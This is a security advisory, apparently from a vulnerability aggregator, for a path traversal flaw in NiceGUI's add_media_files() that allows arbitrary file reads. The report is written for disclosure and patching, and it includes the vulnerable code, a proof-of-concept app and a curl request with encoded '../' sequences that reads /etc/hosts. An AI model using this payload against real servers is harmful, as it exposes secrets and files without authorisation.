NiceGUI has a path traversal in app.add_media_files() allows arbitrary file read
Summary
A directory traversal vulnerability in NiceGUI's App.add_media_files() allows a remote attacker to read arbitrary files on the server filesystem.
Details
Hello, I am Seungbin Yang, a university student studying cybersecurity. While reviewing the source code of the repository, I discovered a potential vulnerability and successfully verified it with a PoC.
The App.add_media_files(url_path, local_directory) method allows users to serve media files. However, the implementation lacks proper path validation.
def add_media_files(self, url_path: str, local_directory: Union[str, Path]) -> None:
@self.get(url_path.rstrip('/') + '/{filename:path}')
def read_item(request: Request, filename: str, nicegui_chunk_size: int = 8192) -> Response:
filepath = Path(local_directory) / filename
if not filepath.is_file():
raise HTTPException(status_code=404, detail='Not Found')
return get_range_response(filepath, request, chunk_size=nicegui_chunk_size)
Root Cause:
- The
{filename:path}parameter accepts full paths, including traversal sequences like../. - The code simply joins local_directory and filename without checking if the result is still inside the local_directory.
- There is no path sanitization or boundary check.
Consequence:
An attacker can use .. to access files outside the intended directory. If the application has permission, sensitive files (e.g., /etc/hosts, source code, config files) can be exposed.
POC
- Create
poc.py:
# poc.py
from pathlib import Path
from nicegui import app, ui
MEDIA_DIR = Path(__file__).parent / 'media'
MEDIA_DIR.mkdir(exist_ok=True)
# Expose local "media" directory at /media
app.add_media_files('/media', MEDIA_DIR)
@ui.page('/')
def index():
ui.label('NiceGUI media PoC')
ui.run(port=8080, reload=False)
-
Run the application:
python3 poc.py -
Exploit with curl: Use URL-encoded dots (
%2e) to bypass client-side checks.curl -v "http://localhost:8080/media/%2e%2e/%2e%2e/%2e%2e/etc/hosts"
Result:
The HTTP status is 200 OK, and the response body contains the contents of the server’s /etc/hosts file.
I have attached a screenshot of the successful exploitation below. As shown in the image, the content of /etc/hosts displayed via cat matches the output received from the curl request perfectly.
<img width="1728" height="1078" alt="POC screenshot" src="https://github.com/user-attachments/assets/6c1be75b-6be2-4372-90df-55042c1e4775" />Impact
Any NiceGUI application that calls app.add_media_files() on a URL path reachable by an attacker is affected. An unauthenticated remote attacker can read sensitive files outside the intended media directory, potentially exposing:
•Application source code and configuration files •Credentials, API keys, and secrets •Operating system configuration files (e.g., /etc/passwd, /etc/hosts)
This is my first github vulnerability report, so I would appreciate your understanding regarding any potential shortcomings. If you require any further information or clarification, please feel free to contact me at y4rvin@naver.com.
Thank you.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | nicegui | < 3.4.0 | 3.4.0 |
References
- https://github.com/zauberzeug/nicegui/security/advisories/GHSA-hxp3-63hc-5366
- https://nvd.nist.gov/vuln/detail/CVE-2025-66645
- https://github.com/zauberzeug/nicegui/commit/a1b89e2a24e1911a40389ace2153a37f4eea92a9
- https://github.com/zauberzeug/nicegui
- https://pypi.org/project/nicegui
- https://github.com/advisories/GHSA-hxp3-63hc-5366
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N- Weakness (CWE)
CWE-22- Platform
- Python (PyPI)
- Package
nicegui- Disclosed
- 09.12.2025
- Updated
- 11.10.2026 13:19
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-1700 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-hxp3-63hc-5366 - CC BY 4.0
Vulnerability history: nicegui
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 17
- First → latest
- 04.2024 05.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 6
- Medium 11
Disclosures per year
- 2024: 1
- 2025: 5
- 2026: 11
-
NiceGUI has a path traversal in app.add_media_files() allows arbitrary file read this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.